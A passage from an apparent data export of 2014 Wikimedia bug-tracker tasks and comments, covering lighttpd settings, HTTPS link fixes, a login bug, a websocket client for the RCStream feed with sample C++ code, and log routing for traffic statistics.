+https://gerrit.wikimedia.org/r/148660",,,1406124949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+320520,Update lighttpd default settings,"Change 148660 had a related patch set uploaded by Hedonil:
+lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition
+
+https://gerrit.wikimedia.org/r/148660",,,1406124857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+320515,Update lighttpd default settings,"(In reply to metatron from comment #0)
+> [...]
+
+> Additional:
+> Is  /usr/bin/webservice script puppetized?
+
+It's at <http://git.wikimedia.org/blob/labs%2Ftoollabs/master/misctools%2Fwebservice>.",,,1406119997,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+320511,Update lighttpd default settings,"Change 148637 had a related patch set uploaded by Hedonil:
+lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i
+
+https://gerrit.wikimedia.org/r/148637",,,1406113787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70330,[iOS] webview Wikipedia link long press convert to HTTPS,"This is a feature request to have longpresses on hyperlinks that are on Wikipedia domains show as HTTPS in the flyup and use HTTPS in the flyup menu targets.
+
+--------------------------
+**Version**: Beta
+**Severity**: enhancement",Needs Triage,90.0,1405967400,1406239154.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,,False,PHID-TASK-phral7ytyuc3n77niea5,task_description,resolved,True,c3,1,True,False,True,-50,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+315852,[iOS] webview Wikipedia link long press convert to HTTPS,"Change 148162 merged by Mhurd:
+Use https: base address for long-press link menu
+
+https://gerrit.wikimedia.org/r/148162",,,1406059144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+315846,[iOS] webview Wikipedia link long press convert to HTTPS,"Change 148162 had a related patch set uploaded by Brion VIBBER:
+Use https: base address for long-press link menu
+
+https://gerrit.wikimedia.org/r/148162",,,1405970884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+315839,[iOS] webview Wikipedia link long press convert to HTTPS,This is a one-character fix. :D Testing now...,,,1405970651,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+70317,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"**Author:** `mluxen`
+
+**Description:**
+A new Wiki user is created and linked to a Google account. If this user is now deleted by UserMerge extension the reference within the user_google_user table doesn't match as it's not deleted automatically by another extension (UserMerge in this case).
+Afterwards it's not possible to login again another/new user until the whole table is deleted or this specific user entry. The user is always redirected to the main wiki page with status ""not login"". That means ""Login"" is still available in the upper right corner of MW.
+The table must be created again if it's deleted completely in the step before.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1405941360,1407714038.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-wxxjqfa225z6fpb5272k,task_description,resolved,True,c3,1,False,False,True,-50,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+315150,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"@Mike: I will set this as fixed, if you have still problems, feel free to reopen.",,,1407714038,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1
+315141,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"@Mike: Can you please verify, that this helps in your problem? :) Just load the extension new please.",,,1406010571,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,1
+315130,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"Change 148108 merged by jenkins-bot:
+Extended Login-workflow
+
+https://gerrit.wikimedia.org/r/148108",,,1406010442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+315122,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"Change 148108 had a related patch set uploaded by Florianschmidtwelzow:
+WIP: Extended Login-workflow
+
+https://gerrit.wikimedia.org/r/148108",,,1405962664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70093,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"1) Go to http://en.wikipedia.beta.wmflabs.org/wiki/special:ContentTranslation while logged out
+2) Go to http://en.wikipedia.beta.wmflabs.org/wiki/Special:ContentTranslation
+
+Observed: 1) wikicode 2) ""null""
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1405503000,1405523028.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-rgpizmz3q34efyfv6za2,task_description,resolved,True,c3,1,True,False,True,-51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+316362,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"Change 146777 merged by jenkins-bot:
+Correct the order of validations
+
+https://gerrit.wikimedia.org/r/146777",,,1405523013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rgpizmz3q34efyfv6za2,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316359,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"Change 146777 had a related patch set uploaded by Santhosh:
+Correct the order of validations
+
+https://gerrit.wikimedia.org/r/146777",,,1405521205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rgpizmz3q34efyfv6za2,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+69955,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"using https://github.com/dhbaird/easywsclient , with the URL adapted to
+
+ws = WebSocket::from_url(""ws://stream.wikimedia.org/rc"");
+
+results in 
+
+easywsclient: connecting: host=stream.wikimedia.org port=80 path=/rc
+ERROR: Got bad status connecting to ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found
+
+
+which is distinct from Bug 66989 (which uses a socketio specific library, and which reports 502's)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1405280880,1420979426.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-ldiszp63kknlkcrolezf,task_description,invalid,True,c3,1,True,True,True,-51,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+398003,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"No, it was because I tried to connect using plain websockets, which is a nonsensical thing to do (socket.io is a protocol that runs /on top of/ websockets (or xmlhttprequests, or...). The rcstream docs were a bit unclear about that, but I fixed that now: https://wikitech.wikimedia.org/w/index.php?title=RCStream&diff=140483&oldid=139795",,,1420979426,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+397951,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,This isn't T68232 is it?,,,1420946742,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+310161,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"Okay, this seems to be because of Socket.IO. Basically, it's not possible to connect using plain websockets, as there's some opaque (and non-documented!!) protocol above it.
+
+How to connect using websockets:
+
+1) Go to http://stream.wmflabs.org/socket.io/1/. Copy the first integer.
+2) Use ws://stream.wmflabs.org/socket.io/1/websocket/<that integer> as websockets URL
+3) Don't forget to reply to pings!
+
+
+The following code sort-of works using the library linked in #0:
+
+#include ""easywsclient.hpp""
+#include <iostream>
+#include <cstdlib>
+#include <assert.h>
+#include <stdio.h>
+#include <string>
+
+using easywsclient::WebSocket;
+static WebSocket::pointer ws = NULL;
+
+void handle_message(const std::string & message)
+{
+    printf("">>> %s\n"", message.c_str());
+    if (message == ""world"") { ws->close(); }
+}
+
+int main(int argc, char *argv[])
+{
+    if (argc != 2) {
+        std::cout << ""ERROR: must provide WS url; use the following:\n""
+                  << argv[0] << "" ws://stream.wmflabs.org/socket.io/1/websocket/`curl http://stream.wmflabs.org/socket.io/1/ | cut -d: -f1`\n"";
+        exit(1);
+    }
+    ws = WebSocket::from_url(argv[1]);
+    assert(ws);
+    ws->send(""5::/rc:{\""name\"": \""subscribe\"", \""args\"": [\""*\""]}"");
+    ws->send(""hello"");
+    while (ws->getReadyState() != WebSocket::CLOSED) {
+      ws->poll();
+      ws->dispatch(handle_message);
+    }
+    delete ws;
+    return 0;
+}",,,1405292122,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-51,True,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+69667,REST API page on Gerrit loads prettify.js and .css over HTTP,"https://gerrit.wikimedia.org/r/Documentation/rest-api.html loads:
+
+* http://cdnjs.cloudflare.com/ajax/libs/prettify/r298/prettify.min.js
+* http://cdnjs.cloudflare.com/ajax/libs/prettify/r298/prettify.min.css
+
+cdnjs.cloudflare.com supports HTTPS, so I think we should change the protocol to HTTPS, or remove them entirely because I don't see any visual difference between loading them or not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1404814560,1409891521.0,PHID-USER-arjqb24x4oae7awzpfp6,False,,False,PHID-TASK-4u7i6vh2ffs42epbda7c,task_description,declined,True,c3,1,True,False,True,-52,True,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+69456,Route SSL traffic again into webstatscollector's filter process,"When emery got decomissioned, erbium around mid-April 2014 had it's
+udp2log instance turned from a multicast consumer into a consumer of
+only varnishncsa. Hence, since then, erbium only receives logs for the
+traffic the ssl terminators cause on the caches, but not the logs for
+traffic arriving at the ssl terminators.
+
+However, to correctly count ssl traffic, webstatscollector's filter
+(which runs on erbium) relies on seeing the logs at the ssl terminators.
+
+So as a result, ssl traffic was not counted in webstatscollector's
+output since mid-April 2014.
+
+Discussing a bit with ottomata, it seems the best way forward [1] [2]
+is to try moving webstatscollector's filter to a host that still
+consumes the udp2log multicast.
+
+oxygen consumes the udp2log multicast, and does not look overloaded,
+so we could try moving webstatscollector's filter there.
+
+
+
+----
+
+[1] We could instead turn multicast consumption on erbium on again. But
+that would also affect all the other udp2log filters that meanwhile got
+added to erbium. So it would cause further issues.
+
+[2] We could update webstatscollector to stop dropping local http
+requests from the ssl terminators. That would be nice as it would mean
+that the overall picture of the webstatscollector pipeline gets
+simpler. However, people are afraid to touch webstatscollector code,
+and we want to phase it out anyways.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Whiteboard**: u=Community c=General/Unknown p=0 s=2014-06-26",Needs Triage,90.0,1404372780,1404756206.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-okeynfxuuorpsm23i3hi,task_description,resolved,True,c3,1,True,False,True,-52,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+311814,Route SSL traffic again into webstatscollector's filter process,"The first hourly webstatscollector files after the above merge contain
+ssl requests again. Thanks Gage!",,,1404756206,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+311809,Route SSL traffic again into webstatscollector's filter process,"Change 143775 merged by Gage:
+Feed logs from ssl terminators again into webstatscollector's filter
+
+https://gerrit.wikimedia.org/r/143775",,,1404750441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+311801,Route SSL traffic again into webstatscollector's filter process,"As tomorrow (2014-07-04) is a holiday in the US, today (2014-07-03) is the
+last working day of this week, and it's bad karma to deploy on the last
+working day of a week. So it means that merging the fix will have to wait
+until next week. :-/",,,1404410272,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+311793,Route SSL traffic again into webstatscollector's filter process,"Change 143775 had a related patch set uploaded by QChris:
+Feed logs from ssl terminators again into webstatscollector's filter
+
+https://gerrit.wikimedia.org/r/143775",,,1404372923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+69404,Scripts run endlessly unless I stop it,"This occurs very frequently when loading a page in the Page: namespace of en.wikisource. I am using the Modern skin, Firefox v30 browser, but I have no other useful info. Thanks
+
+
+
+Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=mediawiki.inspect&skin=modern&version=20140701T181553Z&*:2
+
+Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=modern&version=20140701T181553Z:4
+
+Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=mediawiki.inspect&skin=modern&version=20140701T181553Z&*:2
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows XP
+**Platform**: PC",Needs Triage,90.0,1404264420,1404371058.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,False,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_description,resolved,True,c3,1,False,False,True,-53,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+309050,Scripts run endlessly unless I stop it,"ineuw, thanks for the comprehensive report. There's already some more information on bug 67420, so I'm going to dupe this one there.
+
+*** This bug has been marked as a duplicate of bug 67420 ***",,,1404371058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-52,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+309047,Scripts run endlessly unless I stop it,I think this and bug 67420 are the same.,,,1404370119,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+309044,Scripts run endlessly unless I stop it,"Created attachment 15832
+Script triggered a message 3
+
+**Attached**: {F14115}",,,1404370107,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+309041,Scripts run endlessly unless I stop it,"Created attachment 15831
+Script triggered a message 2
+
+**Attached**: {F14114}",,,1404370083,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+309035,Scripts run endlessly unless I stop it,"Created attachment 15830
+Script triggered a message
+
+**Attached**: {F14113}",,,1404370060,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+309029,Scripts run endlessly unless I stop it,"I am attaching three more images of the script problem, one of which is in the main namespace. When the message appears and ""Continue"" is clicked, the the browser hangs. If the ""Stop script"" is clicked, then the message disappears and I can continue working and nothing is lost. I couldn't get the error to kick in while the Network analysis was in view. It's inaccessible when the message pops up.",,,1404369985,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+309021,Scripts run endlessly unless I stop it,"Here is an additional comment from another Wikisource user that may be helpful:
+
+https://en.wikisource.org/wiki/Wikisource:Scriptorium/Help#Mediawiki_bug.3F",,,1404343627,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+309018,Scripts run endlessly unless I stop it,"The pages which triggered the script messages were as follows:
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/886
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/887
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/888
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/889
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/890
+https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/891
+
+The editing environment was as follows:
+
